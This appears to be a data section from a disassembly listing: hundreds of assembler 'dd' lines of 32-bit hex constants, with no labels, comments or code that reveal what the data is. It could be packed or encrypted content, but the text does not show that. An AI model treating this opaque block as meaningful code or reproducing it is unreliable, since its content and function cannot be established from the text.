dd 0F1B9ED0Dh, 83D2DC2Dh, 0F03FD7Fh, 234AC29Dh, 894599D1h
dd 21483297h, 2EFD8194h, 257CB6E4h, 65DD53E3h, 8BECACE8h
dd 1FFC303h, 8F801BE1h, 767158D7h, 0E814724h, 4A6C707h
dd 81781BF0h, 0EB2FB5A4h, 1705DEDCh, 71BE3627h, 0B47AFF82h
dd 0ACFE8129h, 5CBD7417h, 0AC8C84F4h, 3135B495h, 33206FC4h
dd 41803539h, 13F761CEh, 1546A3C1h, 21203743h, 65910E36h
dd 0B5063489h, 39AA04A6h, 90826F52h, 0B991460Dh, 0B6539A8Bh
dd 83570698h, 3FFFEDA1h, 4F4E04B6h, 54D2BE31h, 0F01B687Dh
dd 219DAE3Fh, 713975BAh, 8A4D68C5h, 7A29DF03h, 96855095h
dd 0FA293BEh, 500DD2E7h, 4693F874h, 6420C0F5h, 0A38798C7h
dd 65F1DC3Ch, 0EE5E847Bh, 83EB57C2h, 0D8EF8330h, 5C7DDB85h
dd 1C9223B2h, 4768350h, 79DA2C74h, 260E41D7h, 4187C07Eh
dd 0E79E5A20h, 11420C89h, 0EF0CFA52h, 754A08A4h, 0E3B8D0FEh
dd 3B53595Ah, 0A7417A5h, 8F85A9BCh, 0DBB6BB50h, 0BA4BD24Fh
dd 0C600F692h, 10413BCAh, 0A057631h, 1F3A7214h, 74003FD9h
dd 0A8EEEB37h, 314C750Fh, 0E8BA2757h, 4AE6817Ah, 3BDF01FFh
dd 2F2072F2h, 0E897846h, 0C4105E0Dh, 0DDAF84Ah, 1EC12BF0h
dd 645CC73Bh, 44CEC1F8h, 9E5EC608h, 0D2275748h, 482B2C79h
dd 0CF90C58h, 0AFB5C82Eh, 0B60F05FAh, 80108B03h, 38982421h
dd 40C74111h, 5173204h, 5FF1775h, 6684FB24h, 0D8200609h
dd 0E31044CEh, 0F359B025h, 0A648BB73h, 6DBE57CFh, 0F157B429h
dd 7E133E9Eh, 186A0408h, 0A18CAA20h, 0D7E87A83h, 3A5CACF6h
dd 3BC2090Ch, 73F060F9h, 0F8B273Ah, 0CB80CE8Fh, 5F391A7Ch
dd 1576040Bh, 2527C453h, 9BC616E7h, 6F097DE3h, 42C7AA2Eh
dd 88B14469h, 0B4C87238h, 0B466406h, 7EA8054Eh, 0F82607ECh
dd 42822F85h, 5E753373h, 197C0A56h, 0EB14164Dh, 4F18ABD9h
dd 8199CD26h, 81A04D78h, 0F87D3BA6h, 4648D272h, 0B74CF936h
dd 2154A74h, 891CE50Bh, 1F290DA2h, 9C08D541h, 6AECE721h
dd 5A58586Bh, 644B07Fh, 120C0CCEh, 0D03FACB0h, 0D722DEDCh
dd 3FE8EB3Eh, 9D44CC5Fh, 3307F3D3h, 0EEA5F72Bh, 10FEE008h
dd 27724E6h, 11FE3B19h, 9AE70235h, 4AEB4A0Bh, 74F7A220h
dd 62D3A9EFh, 320189D7h, 0DC04DD57h, 4A5FF6F8h, 98FC7BBh
dd 665FF39Ah, 0B45F984Fh, 1EB921A7h, 7ECB0BD2h, 0B8ACB309h
dd 882C801Eh, 506665F4h, 0BAF5E71Ah, 9C4D9922h, 41C71109h
dd 0E31E9D2Ah, 0D450C183h, 0D6147507h, 93C53D89h, 8237E914h
dd 8673C83Bh, 63F839A3h, 0F2EB3B05h, 0C01B1C09h, 47068223h
dd 9DC1720Ch, 635FDC07h, 0BC960329h, 0D1FF88B8h, 5A3E3286h
dd 973482F0h, 49F62AB2h, 880C1524h, 74543259h, 0B476B119h
dd 2B7645DAh, 2154B1D3h, 5029D822h, 818D1814h, 8EFE4A34h
dd 0F1504ED5h, 0F4124BBBh, 0A2067A1h, 998D2E39h, 8D0B4919h
dd 242A8C2h, 210758F2h, 8817048Dh, 73A60029h, 60110107h
dd 9EB8E29h, 6BEB6183h, 7F8A8F10h, 729147EAh, 0E90E814h
dd 133E80F7h, 0C66BB0h, 3B10348Dh, 8A4373F3h, 0DB841805h
dd 3C933075h, 805E9858h, 4ECE13Bh, 0EB461843h, 4E73A4F7h
dd 0EBA145F8h, 7E222C05h, 9339B796h, 0B5045539h, 8FE69982h
dd 5EBC30Ah, 3F30AA0h, 0E8759942h, 0D771E1BDh, 7E73F7C0h
dd 6816F6CDh, 8A76C0FFh, 0AFE1B706h, 5EA59C40h, 258758D0h
dd 0B53ED843h, 0B2E0581Ch, 0AC2B5009h, 99AAD019h, 310498A7h
dd 0C2921088h, 0C22760EBh, 29131473h, 72126945h, 0EBF00634h
dd 0C01DC4AEh, 0A7D9F003h, 0C2181670h, 0D15A4189h, 1D168812h
dd 0C96BC5B8h, 4D13FB0Fh, 0E5247915h, 58BF2156h, 570A8642h
dd 0D81A5597h, 60474049h, 0C5FF882h, 48DEAF0h, 7618C77Ch
dd 1E00EA12h, 288C82Bh
dd 480F7D01h, 0EBC1E147h, 0A0657360h, 273D329h, 0C2548348h
dd 865572C6h, 2D0E11D1h, 58FA0A73h, 0F47BC1B7h, 429B18BBh
dd 6A3F468Ah, 0D0127B8Bh, 6AF82B77h, 0BD2C2729h, 0FE147319h
dd 638CC89h, 401D66B8h, 5FA43C80h, 43144726h, 0BC6388ABh
dd 2B6D03C0h, 0AB3AD2ECh, 2D3FD56Dh, 0C4ED201Eh, 0F740C28Bh
dd 5B3CA0D9h, 200C3BC1h, 0AE550F78h, 0A1EBB7CDh, 8B4A966h
dd 811BFC1Dh, 59F73102h, 99347C21h, 0FF060D89h, 0E2061876h
dd 12A14755h, 8996A889h, 973C546Ch, 0C1231F67h, 7582C2F6h
dd 57C06434h, 22F98333h, 0C155CF14h, 0E1A35DC7h, 0BD3CC11Fh
dd 8D284E6Bh, 0BF8ECFECh, 0F6E0E04Eh, 44F038Ah, 82E1805Fh
dd 5C26F99Bh, 0EE368406h, 7E812572h, 0E53F9859h, 4CBB4E68h
dd 0C50A7470h, 40AE6C95h, 0E358B10h, 35BED148h, 0FADD854Bh
dd 0BF57A18Dh, 0A1130935h, 563F38F5h, 0D71FF9AAh, 165453FFh
dd 11AEA3FCh, 0C62D01C5h, 0AFD4A962h, 0D4A5422Dh, 48BC2AFh
dd 490507A9h, 0E874848Ah, 9E085060h, 1DA94FD3h, 0FDD0165Ah
dd 0CF5177BEh, 23086CBh, 0BD0A6275h, 540A722h, 16AD84DFh
dd 7350613h, 4F27868Bh, 0C06AD401h, 53044C6h, 29E80A4Ah
dd 875F2EDAh, 344251A2h, 294E7F30h, 98B53AFCh, 5F056AC9h
dd 0EDD01E59h, 898BA465h, 0A9B55A0Dh, 96EEB63h, 18736D23h
dd 5BAD253Eh, 0D3182205h, 0FBF7A19Ah, 30BCB09Dh, 0C88A0437h
dd 5780A842h, 764BCAF4h, 0D2091E23h, 0A09FF3Fh, 2E3000Ch
dd 9D88FB24h, 0EE9C2A6Bh, 3106143h, 10CA5BC8h, 0CB38EF26h
dd 8A209C45h, 681A3C0Ch, 0DC08BAEh, 0B6A00B74h, 28D0FF47h
dd 4970165Bh, 731A9AFCh, 0CF54518h, 0BF0692B4h, 5E8196F4h
dd 470D07C6h, 73AB8BBCh, 0EE5935CCh, 0D54112B2h, 0A23D11Ah
dd 76471532h, 41748B59h, 4896F171h, 5CAA42A1h, 8F176020h
dd 88470B8Bh, 5314402h, 413B29EBh, 80F17548h, 0C8BEFFD5h
dd 0EBA62EEEh, 12BF9C18h, 6C3A57A7h, 4741A02h, 0A2C07888h
dd 83E29893h, 0EB023CA2h, 742A5E49h, 93064CF4h, 7802E544h
dd 8E2B6B88h, 47C610Bh, 0F2ED594Bh, 548B3E54h, 44CAF4BEh
dd 5D22AE0Fh, 3DAD7D0h, 33FB279Fh, 0BDBF6599h, 624DBF91h
dd 0F5DB339Ah, 8A00E1F9h, 74613C07h, 0DE72E81Ah, 0C356256Ah
dd 0CD4E2212h, 29038BB9h, 9F055E8Bh, 8BFBBCEh, 14270936h
dd 5A900261h, 91EF478Ah, 4D20C33Ah, 0D33B88E3h, 4B51DEBFh
dd 0F85C21F5h, 7E9D7F54h, 2BE8CE60h, 190A45ACh, 0E8136F4h
dd 9914B12Eh, 3941AC9Ah, 4AF9C4BCh, 8CCABFA3h, 20C98302h
dd 15A4B7EBh, 7242698Eh, 6E862A2h, 0EB147DEAh, 820498E9h
dd 29C1736Fh, 0FCAB30FEh, 81C620DEh, 254780CEh, 0A05F82EBh
dd 75C88567h, 920B7459h, 0C3EC73C0h, 487462CCh, 102E368Fh
dd 12690B78h, 40F7850Ah, 91032585h, 0C5CD803Bh, 0F8C81F59h
dd 9E372EF5h, 0BF2F0E4Eh, 9017EB5Ch, 0D2CEA217h, 26178B02h
dd 15807477h, 846E0CD2h, 0A468C650h, 0A9CC914Bh, 3B328BAEh
dd 0C47EDA78h, 7D5BCBECh, 0BA1ADDF4h, 49CE98A8h, 89124DBCh
dd 58990770h, 0A186604h, 1C060867h, 791048E2h, 0F51596CBh
dd 17266C57h, 6CF2ED33h, 7E57D501h, 6F1D8B5Dh, 0C3FBB123h
dd 74CDF80Fh, 41F62C15h, 16662C60h, 7EE0BC40h, 0EC7CC201h
dd 348B3FEBh, 0A824ABFFh, 12206AF8h, 0EA02E7C1h, 0A10D7D8Ch
dd 0EB618930h, 3CE9306Eh, 0FD263B07h, 0F71DB174h, 58F0F595h
dd 89FF0D55h, 76CFEC6Eh, 2EEECCF8h, 719D1C0Ah, 0B1516474h
dd 8EC17BF8h, 0B82DF981h, 0B90C7717h, 4B780FAh, 0A252EB41h
dd 2024AC2h, 0FDF9C10Fh, 0FC44D411h, 5E5B8001h, 0FE65B781h
dd 734D88C0h, 0FD4509FCh, 8754026Ah, 0F2EEC1BBh, 4D8D13F1h
dd 0C2AE520Ah, 0E45551B2h, 8AA1B7BFh, 3FF43402h, 689E2EB8h
dd 45A8C3E4h, 0C9A230Ah, 0D4CC327Dh, 0FEE0ADE2h, 0A804105Eh
dd 0F3840F82h, 0EB214DA6h, 31160117h, 10849927h, 0D46033D9h
dd 0FE242E08h, 3D502EBBh, 0E8D7B25Dh, 0EF241373h, 6670E517h
dd 27FE8122h, 0AE86D598h, 0B8451008h, 0C4533E30h, 0AE3D36F1h
dd 8176A9F5h, 821B44Bh, 7457010Bh, 225EDB64h, 0B2A4D8F0h
dd 0C3974918h, 7E04B04Dh, 7A509710h, 63683ABDh, 33EB99CFh
dd 169EB47Eh, 2E968B48h, 832EFCCBh, 1B850442h, 0B804C8BAh
dd 0EC40F621h, 0D4F7420h, 537D0BEBh, 0B5C79914h, 88374D8Ah
dd 7770095Bh, 5F8AB12Fh, 6039D153h, 742F5F42h, 0EBB26806h
dd 5F70920Fh, 0AE26D725h, 3534C9F2h, 0EBA92E8Eh, 0AB7748C9h
dd 0B130FF9Eh, 47481F8Ah, 4EFF4B00h, 20DAEC66h, 6280C8Fh
dd 8DF04D89h, 0FA87076h, 14D0603Fh, 0FEC5539h, 31DC8C30h
dd 3020FB80h, 780A137Ch, 0E1BD0E7Fh, 1CF98AC2h, 83D2077Ah
dd 61CBB9E0h, 0C684200Dh, 0E1681F3Ch, 728794Ch, 0FD00C8Ah
dd 0FF639A87h, 0DFD22451h, 0F0924B69h, 6CC644Ah, 10E008D8h
dd 4DFC20E4h, 0F61ACFDCh, 26629347h, 0A3BE506h, 2D400375h
dd 711FF408h, 3F39B148h, 5936A648h, 0FC2A7483h, 13C82808h
dd 32FC5304h, 12750E80h, 0FBC00288h, 9023752Ah, 9CC4BF15h
dd 5D1EF727h, 0A9E7628h, 4147128Dh, 0A2D8F704h, 8B62281Fh
dd 76CBBE2Fh, 44823985h, 0E9EBD041h, 44F08B87h, 0BE10BEEDh
dd 0C41E233Fh, 5D304F0h, 3AC01124h, 1B896865h, 39436F3Ah
dd 0ED492C74h, 0AA680A33h, 1A6C0520h, 0AFC90AB9h, 4D4D41A0h
dd 21B94BFDh, 60204410h, 7575363Fh, 767F7A14h, 0A90E7C34h
dd 4AEEFDC6h, 89192878h, 1765D016h, 14EC1D57h, 0ABCEF634h
dd 0DF197409h, 0D3AFCB59h, 80F60934h, 9AECB10Ah, 193C6947h
dd 0B1532FD4h, 8FD867F8h, 0BA02551Ch, 0C34365E5h, 5A5E8496h
dd 0F8442458h, 4178E2A1h, 7C43E818h, 336ED527h, 506C0970h
dd 2085FC22h, 0C49003E9h, 305E5498h, 0C142BABCh, 0FE3B844Fh
dd 0FDBE7E22h, 5A1A45AAh, 0B876220Fh, 0A1C825D2h, 1FE84D1h
dd 0F0AAE04h, 0A408BA09h, 0FF26B4D0h, 0D527EA1Ah, 0D641270Eh
dd 91D2854Eh, 0B14ED442h, 0CAF3994Eh, 0EBC44015h, 0BB4CB5E7h
dd 20C38012h, 8D401442h, 7E705DBDh, 0D4CA3B2Dh, 0CF25BE5Ch
dd 6F07F10h, 0F2CC228Ah, 848EB4BFh, 90878478h, 0EB89842Fh
dd 0ED3FFE2h, 631688A6h, 40F40132h, 0CA327DB6h, 0A5FD880h
dd 0FD429EBh, 0AD9745Ah, 48C5D409h, 2F22FADFh, 9BC608E9h
dd 8859C480h, 51F73BAAh, 2F48A19Fh, 0F5E9140Ch, 0A003494Dh
dd 2D8B3374h, 51400448h, 86B8F62Ch, 171C9C90h, 0D10BBF0Fh
dd 45335CE8h, 56E774F4h, 292B1F32h, 423C34FAh, 0A0A1460Fh
dd 9CCC0A44h, 5CF31D50h, 1548813Fh, 7A5673Ah, 503B337Fh
dd 0B6CC51BAh, 98914D7h, 98BCF036h, 19B84D3Bh, 0BC1EFC40h
dd 0D20AC925h, 56DEFD77h, 9F7A2DFBh, 0DAEC8897h, 0E6811404h
dd 0F1746EB4h, 2177E56Ah, 91250D36h, 59283C42h, 8512145Eh
dd 34B217F6h, 2D57981Ah, 3B0D4975h, 527D2A58h, 6251E1B9h
dd 0D0EAAC2Bh, 241AD4A7h, 0D11B1769h, 51225B1h, 276ACCFCh
dd 740750BCh, 9F815158h, 0E669FD1Bh, 24B15529h, 9DC99234h
dd 0D48CDCF6h, 4BEB2127h, 15BBB53Ch, 0A0FE6248h, 74F7B832h
dd 3A1BBC08h, 4ED1F1C4h, 8FF4425h, 73E52E1h, 5ECCD029h
dd 2E30AF80h, 0CF8A5D74h, 0EA81C628h, 6B510430h, 26729BDh
dd 15EBD788h, 8223248h, 0C3503B11h, 9135EB02h, 20396C98h
dd 92D9A90h, 0A098C366h
dd 6DEB0889h, 5D0E1105h, 8C6B32F6h, 0AA0A7B40h, 7460606Ah
dd 0A3BAC0Ch, 41EB592Bh, 21740C3Eh, 4B99400Dh, 10650C93h
dd 99C0BC01h, 0C4C25EBh, 0F2EDF9B7h, 8C08215Ch, 8E0EB29h
dd 1AD2330Ah, 0E41B740Ah, 7C177F05h, 4E7358E0h, 0F253B111h
dd 0A43B5A76h, 34F6ADAh, 6804EBFAh, 3780C18h, 0E7830375h
dd 0CDB38984h, 6BFE2709h, 0F772C038h, 0BC60C8Bh, 0E41575C7h
dd 0B7C292E1h, 854325AAh, 9662865Fh, 1A067F28h, 2002EF83h
dd 505299F4h, 27A55657h, 0EFC70CFFh, 0EF205ECDh, 0C3833143h
dd 0C0102530h, 0CC435756h, 39FBE9B0h, 37E6841h, 0CDD45DC4h
dd 0CC82F862h, 0EB331888h, 682BA3B5h, 9380061Bh, 13A65602h
dd 80C0C03Fh, 75553039h, 980B21AAh, 0C621404Bh, 37306801h
dd 0ED81699h, 20FC8594h, 0FC5D8B05h, 0D30EC3F6h, 76C7A926h
dd 1A8B2ADAh, 2014EB2Dh, 0ED2B0B11h, 0DA020309h, 9220240Bh
dd 329019Fh, 9F2BE092h, 0C9F406ACh, 798B0C32h, 6A568538h
dd 8884205Ch, 0AF1016B5h, 4EEA5033h, 868CBD2Bh, 0D32DE6F6h
dd 0A3F595Ah, 21324B04h, 168A4830h, 0A4AEC5DCh, 0FCA47EB4h
dd 8DF88F80h, 0DEFF7824h, 9143030Ch, 0C6DAE9C8h, 26C4B7DFh
dd 0EA8D3224h, 18F82827h, 8B055AA3h, 0DC424FC7h, 9A15EBD0h
dd 937C5D59h, 0ADEA7848h, 0A674040Ah, 25FC945Eh, 1050FA1Bh
dd 0F94F1305h, 86EC16B4h, 4270DE70h, 4170B47Fh, 1B09CF66h
dd 9526419h, 898F485Ah, 0C4FD0122h, 0C4D017Bh, 780449FFh
dd 8A11E80Eh, 2CC0597h, 0B6E182FEh, 6E0B3161h, 0A45FF9B6h
dd 0F86583E9h, 7EF8109Fh, 7B5D8D40h, 8AFE1C3h, 0AA68A3F4h
dd 54217E62h, 561806DEh, 5C970BFFh, 0BA936BF5h, 1C2A3E9Bh
dd 7F4E2107h, 0AB2F59E5h, 0B6FB145Fh, 6665724Bh, 6D1C7B26h
dd 0D22105Ch, 6D465706h, 375C50F5h, 50D9843Fh, 5B02E26Fh
dd 83475576h, 5DF87D0Eh, 3E0D4353h, 4104E408h, 0FC5164C1h
dd 663F1D4Ah, 0C5F53C6Bh, 9B82373h, 4F89E2F8h, 95BE02DAh
dd 0E6A4F52Fh, 0DB33456Ah, 457AF4B8h, 0B8F62056h, 48E1B059h
dd 72741749h, 4243BC1Dh, 17D1A03Dh, 0FBF17C1Ah, 225C9E8Ch
dd 6B54270h, 2555249Dh, 0BFF0406Ah, 0D280BF1Ah, 0E8D1818Eh
dd 51508901h, 0F2AAABF3h, 0C0844F1Dh, 0EF860F1Eh, 7D8DF994h
dd 0BBFD14EEh, 0EFD00915h, 0F9B74275h, 3746A80Ah, 0D308FF41h
dd 87F9C23Bh, 88264193h, 48B9781h, 53EE430Ah, 8D920B53h
dd 1FE05234h, 43DE6C1h, 0C09E15AAh, 15F94A92h, 2C74CB01h
dd 0BB01518Ah, 7E25B58Eh, 3BFA8C40h, 9D1477C7h, 928AC501h
dd 8438AA8h, 40184790h, 71F57628h, 2DC09D41h, 0A99DD475h
dd 0D08E0913h, 72041722h, 965F9C1h, 5FD17C05h, 0A352F746h
dd 0F90C54ADh, 0B68D2C0Ch, 65BF79B4h, 0FBA52170h, 0BC278A84h
dd 1655EB83h, 49FF7983h, 497D4835h, 0A25858AEh, 3D402D08h
dd 0F1726721h, 243A5456h, 0EB55282Dh, 4FB0651h, 4EC3110Ch
dd 0EB02AB30h, 1D25390Dh, 7413405Ch, 5F31A10Eh, 5F880543h
dd 0C8B2E03Ch, 0F870969Fh, 0A122A225h, 1075FE56h, 8C7C98BEh
dd 5425FF12h, 0B4FD6B32h, 4584315h, 0A10F75FCh, 1A5E50EEh
dd 2D4A44A4h, 7AF4B1A4h, 0F5E85EB0h, 0A9717D5h, 48F00F0Dh
dd 0C3DC03ACh, 0BBE3B87Fh, 6122A43h, 7C8408F8h, 21578911h
dd 0C0E3606Dh, 0AA956D93h, 0DD18D4B5h, 0DD21C669h, 5F5BC4A2h
dd 5144931h, 0A7C8BF05h, 0A4E891FFh, 1616790Bh, 88BE527Ch
dd 5848809h, 40FD24F7h, 0F42C38E8h, 94F21D31h, 20250E85h
dd 3700C354h, 558D5753h, 8B099DF3h, 84D540ABh, 0AAE1D74h
dd 862BBCB6h, 320B841h, 8295E4BFh, 9593FF85h, 0C542AAB9h
dd 0A6FFCD8Ah, 5F06E96Ah, 0C8E86A5Bh, 0EA34FA88h, 7B248E24h
dd 566298FBh, 75E90FBEh, 1EA27373h, 7A1F5657h, 49C435A4h
dd 0FC32A822h, 77D62717h, 61522868h, 0CB435C68h, 73138D8Dh
dd 78113A09h, 1674248Fh, 8A10C0FBh, 65A30594h, 118090E9h
dd 36841CEBh, 62107402h, 0B9051320h, 0A080E3EBh, 82121D12h
dd 9013D15h, 3A49EBBFh, 0C90F7D16h, 5A0A19CCh, 4C8CAB98h
dd 0C13DC879h, 4AA9FC20h, 6132861Fh, 150A1372h, 4F0E777Ah
dd 0D4E93C99h, 4DACE0EBh, 5EBE97C5h, 0B42AF7BDh, 0C182BFA5h
dd 9E5AFD6Ah, 0FD594924h, 0E9D3B408h, 7C3DE090h, 0EA742EA2h
dd 75068998h, 29E6BD11h, 20E73EFFh, 0E063EB13h, 0AD9C560Fh
dd 0D2423D17h, 404A018Ah, 58F6F087h, 88C07586h, 47137407h
dd 19354166h, 161ADA2Fh, 0C414AEA4h, 10084CCAh, 0F0E5752Eh
dd 6725800Ah, 0CCF8CFFh, 2E80B0FEh, 197F4AC2h, 0DD8D625Eh
dd 0D4DC4701h, 0CAB598D1h, 275F9A86h, 0C7F35D5Fh, 0C4C5F649h
dd 64AF0861h, 48A6087Ah, 0E4A00494h, 88BB4FCh, 0C0FB8129h
dd 7D287D09h, 221CF96h, 2585153h, 0C4317F02h, 0E880E6Bh
dd 6DC2F649h, 0C3CA3E7Ch, 0FC3C884Ah, 24034286h, 7D52EA08h
dd 0A94DC9BCh, 0CAB34FC2h, 0C861FBA4h, 323BD233h, 652B824h
dd 74083B0Bh, 42CF4020h, 94D3F03Dh, 0F986BD13h, 0A1D7213h
dd 18772416h, 6AB620BCh, 0A4D50419h, 1147A357h, 7CF981D2h
dd 12728CCCh, 118ACA10h, 76110826h, 0D48B6E0Ah, 3B038D4Fh
dd 63A7C312h, 0CD774A7Eh, 49BA2E7Eh, 825B0B37h, 4AD16315h
dd 0CC6BEECDh, 5204759Ah, 60853C83h, 5931678Dh, 0F97F0A09h
dd 20750B93h, 0E3FF7653h, 81EC0789h, 211446A8h, 5FD13B15h
dd 0C995806h, 41040618h, 0F53F8BE6h, 7E14995Eh, 10BF3E26h
dd 4E816681h, 0A611020Ch, 75256AB9h, 2F831511h, 16FC56BEh
dd 3BD6E544h, 0D2106DC3h, 83187D29h, 0EEF86680h, 184E8374h
dd 0EA08FF5h, 0C9595BC3h, 404491D4h, 0DA500710h, 7C28CC26h
dd 858782C4h, 907109EBh, 25917827h, 0C509068Ah, 0CC0A4C0Ch
dd 0E1270F76h, 4332DE09h, 0B6905EBh, 2A1C7736h, 0C0A2C043h
dd 0EC857532h, 4071B836h, 8D845E7h, 4108024Bh, 2608133Dh
dd 146461Ch, 0CF2738A8h, 659C7610h, 82122D0Eh, 3E80EE92h
dd 0D99EE025h, 6490A408h, 48E809CBh, 22F291E9h, 0B6EA5CF1h
dd 840CFF34h, 0E49B0983h, 688DA5Fh, 0F345C6F4h, 0D0640E01h
dd 0EE125E8Ah, 8D04C768h, 815A914Eh, 0CFFFF445h, 8964ACDCh
dd 0FA2D5843h, 836500EBh, 3E7F4EFBh, 0ECB5E74h, 0E395E32Ah
dd 4E54D346h, 6018A80Ah, 37754C0Ah, 0EBC8CEFEh, 17E8061h
dd 0AC2CED36h, 0A128BD0Ch, 9723E5E9h, 38F9D07Ch, 8B5B415Eh
dd 9D27EBF0h, 2259F246h, 0C528685Ah, 376C5075h, 8008F477h
dd 0E6DEBF1h, 0C3FA0679h, 734DEB9Ch, 2780F010h, 5B05F17Dh
dd 14D4D64Fh, 0C913F24Eh, 22FBA2C5h, 0A361BC1Ch, 0DF0CBC04h
dd 99D46922h, 0E4417DEAh, 88201475h, 9A536E3Ch, 1A9E438Eh
dd 0ACC17880h, 65ED4704h, 401FB801h, 832633CAh, 0FE0CD6CEh
dd 32C4826Eh, 63102874h, 7BFA7AF8h, 0BF39FABFh, 702B10F4h
dd 1F3787A4h, 7E0E2038h, 69F9B50Ch, 19F23914h, 0F40A0974h
dd 0F0DC8242h, 6F66CBE6h, 25EDD02h, 420A1E0Ch, 12633305h
dd 6422FC2Ch, 1504F803h, 0F6A8E31h, 387E670Ch, 7435690Ah
dd 9B04E31Bh, 0BC510257h, 4C4E865Bh, 0E98F9BE1h, 6A17B0C0h
dd 985E5164h, 64FBD060h, 507E422Dh, 1E91CA8h, 5137A9Bh
dd 3CB58D2Bh, 37EF18FEh, 88280E75h, 22C80B9Dh, 3050A43Dh
dd 17752B26h, 2890559Ah, 76B8F44Fh, 0FC5AA8D1h, 0FFEC8B8Eh
dd 0CD83EF49h, 485FC2E0h
dd 9A5DF40Fh, 847E4A9Dh, 380956A0h, 4A870476h, 262144DCh
dd 1715CCA8h, 8815E4B0h, 0E05E461Eh, 621D38BBh, 66758B98h
dd 4B5C29B9h, 1CA02823h, 2A068828h, 0AF6E4652h, 0E1E4C940h
dd 90F3EC3Ah, 0D26528F2h, 7450AC9h, 23088025h, 0C6768239h
dd 379E6506h, 75142DABh, 24860575h, 1EC52746h, 4D282C66h
dd 0F2BAC21h, 57A76864h, 8B21290h, 91980932h, 946353A0h
dd 6668A242h, 5F609A4h, 0A006DC32h, 50CF154Dh, 0C026A9CCh
dd 80FE3C83h, 0BE4C0F50h, 165048C8h, 87BF48D4h, 2EB06D99h
dd 0F852CC25h, 0D8A15256h, 216E5E2Bh, 7E44B624h, 0E8EAA6D3h
dd 4CD310BFh, 3891B43h, 831663F8h, 89FF70E8h, 0B6242A0Ah
dd 2AD9B1EEh, 1196B64Ah, 0A2E1C3C4h, 24BD13ACh, 3B263FD7h
dd 3FFA32A7h, 0EB2C8529h, 4C38A61h, 0BC2C2A22h, 8571A21Dh
dd 0A78B1E62h, 80196644h, 0A74A5E3Fh, 8DC720C2h, 72AA0178h
dd 57223291h, 0CD0C54EDh, 5287C44h, 11EB01F1h, 36570E8Fh
dd 7430FB1Ah, 8D5B50DDh, 4063271Ah, 2F743B19h, 2AD55810h
dd 54F6F331h, 638CA57h, 0BF5E6F6Ah, 2FF80428h, 3AB23BA2h
dd 306A3681h, 0F516425Bh, 8C366DCDh, 786A0985h, 101ECFEBh
dd 0C5300845h, 0E9FF5AE8h, 7D9C2FD5h, 7BE8B69Eh, 0C6811AB0h
dd 0B209D45Dh, 56C447E8h, 0FEC020A7h, 0B7CB558Ah, 74C3610Fh
dd 84AD475Fh, 4293BE36h, 86EBFC3Dh, 36032039h, 73D13A47h
dd 0EBC1E104h, 0BDC2089Dh, 77D0177Ch, 6908621h, 0F22BF003h
dd 90CA8B46h, 12E183C2h, 0EF01B307h, 19C8872h, 0F5754E42h
dd 0B4EBF432h, 8AC844C0h, 0AFC18BD0h, 9BEB0D1Fh, 19924ECh
dd 85080445h, 9A4E9203h, 0D4E5E778h, 0BB4F1A32h, 0D095A51Eh
dd 0C948D4E5h, 9F43940Eh, 84A48251h, 0CDF9775Ah, 7E063228h
dd 16AC88Bh, 2C5A4CCBh, 0D3E85D06h, 0C1181CE2h, 4C1603F9h
dd 339C010Dh, 74D185CBh, 19CF2260h, 0EA0C5275h, 37FA176Fh
dd 0C8454291h, 999D3158h, 4F5C0D47h, 0C92ECF59h, 931DFCB6h
dd 0D47B27FEh, 8B40ECC2h, 57AD2FCBh, 0C42E94FAh, 3BC8214h
dd 9E021ACAh, 4C0FE9D4h, 0A4D072D5h, 50B58908h, 0A239B05Ch
dd 28A502BAh, 8CE6503h, 0E668027Fh, 7291E3ACh, 0A0648642h
dd 17A4BCD4h, 0C1622083h, 52089A80h, 0BCAB34Fh, 0C6920675h
dd 4E458062h, 24EFB35Ah, 0B94DD03Ah, 6B5D0128h, 0EF72E9F1h
dd 75253E92h, 0BF95944Fh, 0A099E844h, 25280D64h, 559117A2h
dd 391473A3h, 0DC5596D8h, 0B559C70Ch, 53A01B37h, 189C1E89h
dd 0BBD50719h, 2B53964Eh, 0F05DCCECh, 1575286Fh, 7D3814B8h
dd 3C85053h, 0DD3909CBh, 0DC73A3C4h, 79C5D8E6h, 602520CBh
dd 438D1190h, 19932D0h, 0E508111Ah, 0F05D0565h, 322B2456h
dd 0F7052254h, 0ED90FF37h, 842BE920h, 4D9EBBDCh, 0D16D4167h
dd 75AF78C3h, 611AD8D9h, 0F93D506h, 7486B211h, 70750A3Fh
dd 0BCC53A52h, 0A428476h, 0E7C16C00h, 8D3FEB03h, 0D1BF3C1Eh
dd 4E91FE3Bh, 37BCBC7Eh, 391EE96Ch, 0DA10E48Ah, 1F2B7C8Dh
dd 678DED0h, 74C7851Bh, 84DFF7A2h, 11EC468Ch, 0CECC32D7h
dd 29CF1929h, 0D0325633h, 4E6A1048h, 124DFE0Ah, 0AE035308h
dd 0C91015A0h, 629BF33Eh, 0C338E4DFh, 0A3E66AEh, 58DA77FEh
dd 5904D5D2h, 0D3BDA342h, 0C9060012h, 9CFBC33Bh, 0CA55930Bh
dd 88144DA8h, 28327318h, 85C8500Eh, 9F5A3E25h, 1E5855E6h
dd 7C3F2A9Eh, 170CC8CFh, 0CF6EF70Fh, 5CF02944h, 2769A8BDh
dd 5C05F656h, 0D7C76430h, 0A205B4C4h, 2C28D5E7h, 0E7722617h
dd 10C40AFFh, 9A64BE52h, 2887EDCCh, 0E49DAC38h, 89F2B748h
dd 0EDF3CC5Eh, 107E56C2h, 4E191DDh, 6D5BD1E6h, 69F63A21h
dd 0E614F097h, 0EE0B3090h, 62C68B07h, 0E103D76Fh, 78994AFFh
dd 2A0AF509h, 0C3D879C9h, 0C3D99D52h, 0DFB312ADh, 0D977CC42h
dd 9E06497Eh, 0ECBF9EBFh, 1025CEB2h, 23310689h, 19D9FAF8h
dd 0E7C7E9ADh, 8564AA2Bh, 0D8108F1Ch, 24737F52h, 2501DD14h
dd 0A4C1ED4h, 0FEE68D9h, 0A501CA0Fh, 0E4B6A44h, 5DF4E5B1h
dd 55C2B7C3h, 2191CCDBh, 31757169h, 5D020C70h, 584D53AEh
dd 189B702Ah, 0B88C505Fh, 8C2FFD0Bh, 27D4221Dh, 0FEE009F9h
dd 0D6197F50h, 0E1E81420h, 284A8C8h, 180A4C09h, 0E90E4231h
dd 0A80496BAh, 2880D32Ch, 8FDD9D20h, 0C510119Bh, 9A29500Ch
dd 0B4B5B44h, 7088D59Eh, 1C6B4DA2h, 0C9811898h, 35802E09h
dd 4B53C033h, 0AF40A156h, 0DDDDD015h, 5B63A212h, 0B88A0C0Eh
dd 0E6C1F610h, 0FC0D4B74h, 8FD09E88h, 5809C005h, 0AC24BF04h
